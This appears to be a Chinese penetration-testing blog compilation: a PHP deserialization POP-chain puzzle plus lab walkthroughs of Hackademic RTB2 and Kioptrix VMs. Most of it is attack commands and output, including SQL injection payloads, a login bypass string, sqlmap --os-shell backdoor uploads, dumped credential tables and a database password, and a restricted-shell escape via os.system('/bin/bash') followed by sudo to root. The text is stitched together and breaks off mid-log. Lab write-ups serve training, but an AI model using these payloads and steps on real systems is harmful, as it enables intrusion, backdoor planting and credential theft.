<?php class A { public $a; public $b; public functionsee() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function__toString() { $this->a->see(); return"1"; } } class C { public $a; public $b; public function__toString() { $this->a->read(); return"lock lock read!"; } } class D { public $a; public $b; public functionread() { $this->b->learn(); } } class E { public $a; public $b; public function__invoke() { $this->a = $this->b." Powered by PHP"; } public function__destruct(){ //eval($this->a); ??? 吓得我赶紧把后门注释了 //echo "???"; die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } }
class E { public $a; public $b; public function__invoke() { $this->a = $this->b." Powered by PHP"; } public function__destruct(){ //eval($this->a); ??? 吓得我赶紧把后门注释了 //echo "???"; die($this->a); } }
利用这个类的__toString方法
1 2 3 4 5 6 7 8 9 10
class B { public $a; public $b; public function__toString() { $this->a->see(); return"1"; } }
然后到see()这个类,这里只需要让b为原生类,a参数和b参数都是可控的就可以rce了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
class A { public $a; public $b; public functionsee() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } }
class A { public $a; public $b; public functionsee() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function__toString() { $this->a->see(); return"1"; } } class C { public $a; public $b; public function__toString() { $this->a->read(); return"lock lock read!"; } } class D { public $a; public $b; public functionread() { $this->b->learn(); } } class E { public $a; public $b; public function__invoke() { $this->a = $this->b." Powered by PHP"; } public function__destruct(){ die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } }
root@kali:~# sqlmap -r sqlmap.txt --is-dba ___ __H__ ___ ___[']_____ ___ ___ {1.3.12#stable} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 03:21:49 /2019-12-12/ [03:21:49] [INFO] parsing HTTP request from 'sqlmap.txt' [03:21:49] [INFO] resuming back-end DBMS 'mysql' [03:21:49] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: letter (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 4640 FROM(SELECT COUNT(*),CONCAT(0x7170786b71,(SELECT (ELT(4640=4640,1))),0x716b787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uVyL&Itemid=3 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 1182 FROM (SELECT(SLEEP(5)))sLUv)-- PIge&Itemid=3 Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: option=com_abc&view=abc&letter=List of content items...' UNION ALL SELECT NULL,CONCAT(0x7170786b71,0x5248524f517a4a6d7669416152587a486a48704b4a45444c534d74786659424f614f7147534d7965,0x716b787871)#&Itemid=3 --- [03:21:49] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 [03:21:49] [INFO] testing if current user is DBA [03:21:49] [INFO] fetching current user current user is DBA: True [03:21:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.142' [*] ending @ 03:21:49 /2019-12-12/ root@kali:~# sqlmap -r sqlmap.txt --os-shell ___ __H__ ___ ___[(]_____ ___ ___ {1.3.12#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:45:59 /2019-12-12/
[03:45:59] [INFO] parsing HTTP request from 'sqlmap.txt' [03:45:59] [INFO] resuming back-end DBMS 'mysql' [03:45:59] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: letter (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 4640 FROM(SELECT COUNT(*),CONCAT(0x7170786b71,(SELECT (ELT(4640=4640,1))),0x716b787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uVyL&Itemid=3 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 1182 FROM (SELECT(SLEEP(5)))sLUv)-- PIge&Itemid=3
Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: option=com_abc&view=abc&letter=List of content items...' UNION ALL SELECT NULL,CONCAT(0x7170786b71,0x5248524f517a4a6d7669416152587a486a48704b4a45444c534d74786659424f614f7147534d7965,0x716b787871)#&Itemid=3 --- [03:46:00] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 [03:46:00] [INFO] going to use a web backdoor for command prompt [03:46:00] [INFO] fingerprinting the back-end DBMS operating system [03:46:00] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) [03:46:02] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default) [2] custom location(s) [3] custom directory list file [4] brute force search [03:46:05] [INFO] retrieved web server absolute paths: '/index~.php' [03:46:05] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [03:46:05] [WARNING] reflective value(s) found and filtering out [03:46:05] [WARNING] unable to upload the file stager on '/var/www/' [03:46:05] [INFO] trying to upload the file stager on '/var/www/' via UNION method [03:46:05] [WARNING] expect junk characters inside the file as a leftover from UNION query [03:46:05] [INFO] the remote file '/var/www/tmpussxf.php' is larger (701 B) than the local file '/tmp/sqlmap2xlaxhqs4350/tmpgmt8uc8y' (700B) [03:46:05] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://192.168.84.142:666/tmpussxf.php [03:46:05] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://192.168.84.142:666/tmpbmblb.php [03:46:05] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> ls do you want to retrieve the command standard output? [Y/n/a] command standard output: --- CHANGELOG.php COPYRIGHT.php CREDITS.php INSTALL.php LICENSE.php LICENSES.php Untitledt.png _installation administrator cache components configuration.php configuration.php-dist htaccess.txt images includes index.php index2.php language libraries logs media modules pC4Hp8kt@Px8PgkV$! plugins robots.txt templates tmp tmpbmblb.php tmpugano.php tmpupcaf.php tmpussxf.php tmpuxtor.php welcome xmlrpc xxx.html --- os-shell>
os-shell> cat configuration.php do you want to retrieve the command standard output? [Y/n/a] command standard output: --- <?php class JConfig { /* Site Settings */ var $offline = '0'; var $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.'; var $sitename = 'Hackademic.RTB2'; var $editor = 'tinymce'; var $list_limit = '20'; var $legacy = '0'; /* Debug Settings */ var $debug = '0'; var $debug_lang = '0'; /* Database Settings */ var $dbtype = 'mysql'; var $host = 'localhost'; var $user = 'root'; var $password = 'yUtJklM97W'; var $db = 'joomla'; var $dbprefix = 'jos_'; /* Server Settings */ var $live_site = ''; var $secret = 'iFzlVUCg9BBPoUDU'; var $gzip = '0'; var $error_reporting = '-1'; var $helpurl = 'http://help.joomla.org'; var $xmlrpc_server = '0'; var $ftp_host = '127.0.0.1'; var $ftp_port = '21'; var $ftp_user = ''; var $ftp_pass = ''; var $ftp_root = ''; var $ftp_enable = '0'; var $force_ssl = '0'; /* Locale Settings */ var $offset = '0'; var $offset_user = '0'; /* Mail Settings */ var $mailer = 'mail'; var $mailfrom = 'admin@hackademirtb2.com'; var $fromname = 'Hackademic.RTB2'; var $sendmail = '/usr/sbin/sendmail'; var $smtpauth = '0'; var $smtpsecure = 'none'; var $smtpport = '25'; var $smtpuser = ''; var $smtppass = ''; var $smtphost = 'localhost'; /* Cache Settings */ var $caching = '0'; var $cachetime = '15'; var $cache_handler = 'file'; /* Meta Settings */ var $MetaDesc = 'Joomla! - the dynamic portal engine and content management system'; var $MetaKeys = 'joomla, Joomla'; var $MetaTitle = '1'; var $MetaAuthor = '1'; /* SEO Settings */ var $sef = '0'; var $sef_rewrite = '0'; var $sef_suffix = '0'; /* Feed Settings */ var $feed_limit = 10; var $feed_email = 'author'; var $log_path = '/var/www/logs'; var $tmp_path = '/var/www/tmp'; /* Session Setting */ var $lifetime = '15'; var $session_handler = 'database'; } ?> ---
============================================== | Nbtstat Information for 192.168.84.139 | ============================================== Looking up status of 192.168.84.139 KIOPTRIX4 <00> - B <ACTIVE> Workstation Service KIOPTRIX4 <03> - B <ACTIVE> Messenger Service KIOPTRIX4 <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MAC Address = 00-00-00-00-00-00
======================================= | Session Check on 192.168.84.139 | ======================================= [E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://192.168.84.139/FUZZ Total requests: 3024 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000566: 403 10 L 33 W 329 Ch "cgi-bin/" 000001337: 301 9 L 31 W 356 Ch "images" 000001350: 200 45 L 94 W 1255 Ch "index" 000001458: 301 9 L 31 W 354 Ch "john" 000001629: 302 0 L 0 W 0 Ch "logout" 000001736: 302 1 L 22 W 220 Ch "member" 000002294: 301 9 L 31 W 356 Ch "robert" Total time: 3.234193 Processed Requests: 3024 Filtered Requests: 3017 Requests/sec.: 935.0089
访问页面,发现登录口存在sql注入漏洞
手工注入
用户名使用john,密码使用1’ or ‘1’=’1
得到两个密码
1 2 3 4 5
Username : john Password : MyNameIsJohn
Username : robert Password : ADGAdsafdfwt4gadfga==
root@kali:~# sqlmap -r sqlmap.txt ___ __H__ ___ ___[.]_____ ___ ___ {1.3.11#stable} |_ -| . ['] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 01:21:00 /2019-12-10/
[01:21:00] [INFO] parsing HTTP request from 'sqlmap.txt' [01:21:00] [INFO] resuming back-end DBMS 'mysql' [01:21:00] [INFO] testing connection to the target URL [01:21:00] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: mypassword (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login --- [01:21:00] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [01:21:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:25:36 /2019-12-10/ [01:25:36] [INFO] parsing HTTP request from 'sqlmap.txt' [01:25:36] [INFO] resuming back-end DBMS 'mysql' [01:25:36] [INFO] testing connection to the target URL [01:25:36] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: mypassword (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login --- [01:25:36] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [01:25:36] [INFO] fetching columns for table 'members' in database 'members' [01:25:36] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [01:25:36] [INFO] retrieved: sqlmap got a 302 redirect to 'http://192.168.84.139:80/login_success.php?username=admin'. Do you want to follow? [Y/n] n 3 [01:25:38] [INFO] retrieved: id [01:25:38] [INFO] retrieved: username [01:25:39] [INFO] retrieved: password [01:25:39] [INFO] fetching entries for table 'members' in database 'members' [01:25:39] [INFO] fetching number of entries for table 'members' in database 'members' [01:25:39] [INFO] retrieved: 2 [01:25:39] [INFO] retrieved: 1 [01:25:39] [INFO] retrieved: MyNameIsJohn [01:25:40] [INFO] retrieved: john [01:25:40] [INFO] retrieved: 2 [01:25:40] [INFO] retrieved: ADGAdsafdfwt4gadfga== [01:25:42] [INFO] retrieved: robert Database: members Table: members [2 entries] +----+-----------------------+----------+ | id | password | username | +----+-----------------------+----------+ | 1 | MyNameIsJohn | john | | 2 | ADGAdsafdfwt4gadfga== | robert | +----+-----------------------+----------+ [01:25:42] [INFO] table 'members.members' dumped to CSV file '/root/.sqlmap/output/192.168.84.139/dump/members/members.csv' [01:25:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139' [*] ending @ 01:25:42 /2019-12-10/
获取root权限
ssh连接之后发现许多命令无法执行,但是可以执行echo命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root@kali:~# ssh john@192.168.84.139 The authenticity of host '192.168.84.139 (192.168.84.139)' can't be established. RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.84.139' (RSA) to the list of known hosts. john@192.168.84.139's password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ ls john:~$ pwd *** unknown command: pwd john:~$ whoami *** unknown command: whoami john:~$echo 'casdcasdc' casdcasdc
john@Kioptrix4:/var/www$ ls checklogin.php index.php logout.php tmpbbmjx.php tmpbtzfy.php tmpuijdt.php database.sql john member.php tmpbdorc.php tmpubjrn.php tmpureio.php images login_success.php robert tmpbstyp.php tmpuepxr.php tmpuyhae.php
john@Kioptrix4:/var/www$ cat checklogin.php <?php ob_start(); $host="localhost"; // Host name $username="root"; // Mysql username $password=""; // Mysql password $db_name="members"; // Database name $tbl_name="members"; // Table name
// Connect to server and select databse. mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB");
// Define $myusername and $mypassword $myusername=$_POST['myusername']; $mypassword=$_POST['mypassword'];
// To protect MySQL injection (more detail about MySQL injection) $myusername = stripslashes($myusername); //$mypassword = stripslashes($mypassword); $myusername = mysql_real_escape_string($myusername); //$mypassword = mysql_real_escape_string($mypassword);
//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"; $result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"); //$result=mysql_query($sql);
// Mysql_num_row is counting table row $count=mysql_num_rows($result); // If result matched $myusername and $mypassword, table row must be 1 row
if($count!=0){ // Register $myusername, $mypassword and redirect to file "login_success.php" session_register("myusername"); session_register("mypassword"); header("location:login_success.php?username=$myusername"); } else { echo"Wrong Username or Password"; print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>'); }
root@kali:~# ssh john@192.168.84.139 john@192.168.84.139's password: Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ echo os.system('/bin/bash') john@Kioptrix4:~$ ls john@Kioptrix4:~$ mysql -h localhost -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 6760 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h'forhelp. Type '\c' to clear the buffer.
mysql> exit; Bye john@Kioptrix4:~$ sudo su root@Kioptrix4:/home/john# MyNameIsJohn bash: MyNameIsJohn: command not found root@Kioptrix4:/home/john# whoami root root@Kioptrix4:/home/john# id uid=0(root) gid=0(root) groups=0(root) root@Kioptrix4:/home/john# root@Kioptrix4:~# cat congrats.txt Congratulations! You've got root. There is more then one way to get root on this system. Try and find them. I've only tested two (2) methods, but it doesn't mean there aren't more. As always there's an easy way, and a not so easy way to pop this box. Look for other methods to get root privileges other than running an exploit. It took a while to make this. For one it's not as easy as it may look, and also work and family life are my priorities. Hobbies are low on my list. Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on: www.kioptrix.com Thanks for playing, loneferret
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 04:12:43 /2019-12-10/ [04:12:43] [INFO] parsing HTTP request from 'sqlmap.txt' [04:12:43] [INFO] resuming back-end DBMS 'mysql' [04:12:43] [INFO] testing connection to the target URL [04:12:43] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: mypassword (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login --- [04:12:43] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [04:12:43] [INFO] testing if current user is DBA [04:12:43] [INFO] fetching current user [04:12:43] [INFO] resumed: root@localhost current user is DBA: True [04:12:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139' [*] ending @ 04:12:43 /2019-12-10/ (如果有,如下所示getshell) root@kali:~# sqlmap -r sqlmap.txt --os-shell ___ __H__ ___ ___[.]_____ ___ ___ {1.3.11#stable} |_ -| . [.] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 04:10:50 /2019-12-10/ [04:10:50] [INFO] parsing HTTP request from 'sqlmap.txt' [04:10:50] [INFO] resuming back-end DBMS 'mysql' [04:10:50] [INFO] testing connection to the target URL [04:10:50] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: mypassword (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login --- [04:10:50] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [04:10:50] [INFO] going to use a web backdoor for command prompt [04:10:50] [INFO] fingerprinting the back-end DBMS operating system [04:10:50] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) [04:10:51] [INFO] retrieved the web server document root: '/var/www' [04:10:51] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php' [04:10:51] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [04:10:51] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://192.168.84.139:80/tmpuhuus.php [04:10:51] [WARNING] unable to upload the file through the web file stager to '/var/www/' [04:10:51] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers [04:10:53] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://192.168.84.139:80/tmpbhqem.php [04:10:53] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> ls do you want to retrieve the command standard output? [Y/n/a] command standard output: --- checklogin.php database.sql images index.php john login_success.php logout.php member.php robert tmpbbmjx.php tmpbdorc.php tmpbhqem.php tmpbstyp.php tmpbtzfy.php tmpubjrn.php tmpuepxr.php tmpuhuus.php tmpuijdt.php tmpureio.php tmpuyhae.php --- os-shell>
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 04:42:12 /2019-12-10/ [04:42:12] [INFO] parsing HTTP request from 'sqlmap.txt' [04:42:12] [INFO] resuming back-end DBMS 'mysql' [04:42:12] [INFO] testing connection to the target URL [04:42:12] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: mypassword (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login --- [04:42:12] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [04:42:12] [INFO] fingerprinting the back-end DBMS operating system [04:42:12] [INFO] the back-end DBMS operating system is Linux [04:42:12] [WARNING] expect junk characters inside the file as a leftover from original query [04:42:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrievalDBMS file system ('/var/www/bullshit.php')? [Y/n] [04:42:14] [INFO] retrieved: sqlmap got a 302 redirect to 'http://192.168.84.139:80/login_success.php?username=admin'. Do you want to follow? [Y/n] n 0 [04:42:17] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) [04:42:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139' [*] ending @ 04:42:17 /2019-12-10/ (成功写入) do you want to retrieve the command standard output? [Y/n/a] command standard output: --- checklogin.php database.sql images index.php john login_success.php logout.php member.php robert tmpbokko.php tmpuvljz.php --- os-shell> ls do you want to retrieve the command standard output? [Y/n/a] command standard output: --- bullshit.php checklogin.php database.sql images index.php john login_success.php logout.php member.php robert tmpbokko.php tmpuvljz.php --- os-shell>
# localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost127.0.0.1 static3.cdn.ubi.com 192.168.1.102 kioptrix3.com
在Linux下,将是/etc/hosts 这里涉及一个网络应用程序,因此要使所有内容都很好并正确显示,您确实需要这样做。 希望您喜欢Kioptrix VM Level 1.2挑战。 Have fun
漏洞:
文件包含
访问控制不当
重用凭证
SQL注入
不受限制地上传危险类型的文件
凭证不足
信息收集
上nmap
1 2 3 4
root@kali:~# nmap -sn -v 192.168.84.0/24 Nmap scan report for 192.168.84.144 Host is up (0.00023s latency). MAC Address: 00:0C:29:44:36:85 (VMware)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 04:14:33 /2019-12-13/ [04:14:33] [INFO] parsing HTTP request from 'sqlmap.txt' [04:14:33] [INFO] resuming back-end DBMS 'mysql' [04:14:33] [INFO] testing connection to the target URL [04:14:33] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: id=(SELECT (CASE WHEN (5293=5293) THEN 1 ELSE (SELECT 1341 UNION SELECT 9380) END))&sort=photoid Type: error-based Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) Payload: id=1 OR ROW(1324,2762)>(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1324=1324,1))),0x7170786a71,FLOOR(RAND(0)*2))x FROM (SELECT 8520 UNION SELECT 1582 UNION SELECT 8916 UNION SELECT 1258)a GROUP BY x)&sort=photoid Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 4741 FROM (SELECT(SLEEP(5)))vtbf)&sort=photoid Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=1 UNION ALL SELECT CONCAT(0x7171766a71,0x4d67454a425a6e796b5745656b794f584a4348714c79624d4255416243444967494975507875524d,0x7170786a71),NULL,NULL,NULL,NULL,NULL-- TpfQ&sort=photoid Parameter: sort (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1&sort=photoid AND (SELECT 4185 FROM (SELECT(SLEEP(5)))Gmzf) --- there were multiple injection points, please select the one to use for following injections: [0] place: GET, parameter: id, type: Unescaped numeric (default) [1] place: GET, parameter: sort, type: Unescaped numeric [q] Quit [04:14:34] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [04:14:34] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1 times [04:14:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/kioptrix3.com' [*] ending @ 04:14:34 /2019-12-13/
root@kali:~# sqlmap -r sqlmap.txt -D gallery -T dev_accounts --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.3.12#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 04:18:17 /2019-12-13/ [04:18:17] [INFO] parsing HTTP request from 'sqlmap.txt' [04:18:17] [INFO] resuming back-end DBMS 'mysql' [04:18:17] [INFO] testing connection to the target URL [04:18:18] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: id=(SELECT (CASE WHEN (5293=5293) THEN 1 ELSE (SELECT 1341 UNION SELECT 9380) END))&sort=photoid Type: error-based Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) Payload: id=1 OR ROW(1324,2762)>(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1324=1324,1))),0x7170786a71,FLOOR(RAND(0)*2))x FROM (SELECT 8520 UNION SELECT 1582 UNION SELECT 8916 UNION SELECT 1258)a GROUP BY x)&sort=photoid Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 4741 FROM (SELECT(SLEEP(5)))vtbf)&sort=photoid Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=1 UNION ALL SELECT CONCAT(0x7171766a71,0x4d67454a425a6e796b5745656b794f584a4348714c79624d4255416243444967494975507875524d,0x7170786a71),NULL,NULL,NULL,NULL,NULL-- TpfQ&sort=photoid Parameter: sort (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1&sort=photoid AND (SELECT 4185 FROM (SELECT(SLEEP(5)))Gmzf) --- there were multiple injection points, please select the one to use for following injections: [0] place: GET, parameter: id, type: Unescaped numeric (default) [1] place: GET, parameter: sort, type: Unescaped numeric [q] Quit [04:18:18] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [04:18:18] [INFO] fetching columns for table 'dev_accounts' in database 'gallery' [04:18:18] [INFO] used SQL query returns 3 entries [04:18:19] [INFO] used SQL query returns 3 entries [04:18:19] [INFO] retrieved: 'id' [04:18:19] [INFO] retrieved: 'int(10)' [04:18:19] [INFO] retrieved: 'username' [04:18:19] [INFO] retrieved: 'varchar(50)' [04:18:19] [INFO] retrieved: 'password' [04:18:19] [INFO] retrieved: 'varchar(50)' [04:18:19] [INFO] fetching entries for table 'dev_accounts' in database 'gallery' [04:18:19] [INFO] used SQL query returns 2 entries [04:18:19] [INFO] retrieved: '1','0d3eccfb887aabd50f243b3f155c0f85','dreg' [04:18:19] [WARNING] automatically patching output having last char trimmed [04:18:19] [INFO] retrieved: '2','5badcaf789d3d1d09794d8f021f40f0e','loneferret' [04:18:19] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [04:18:22] 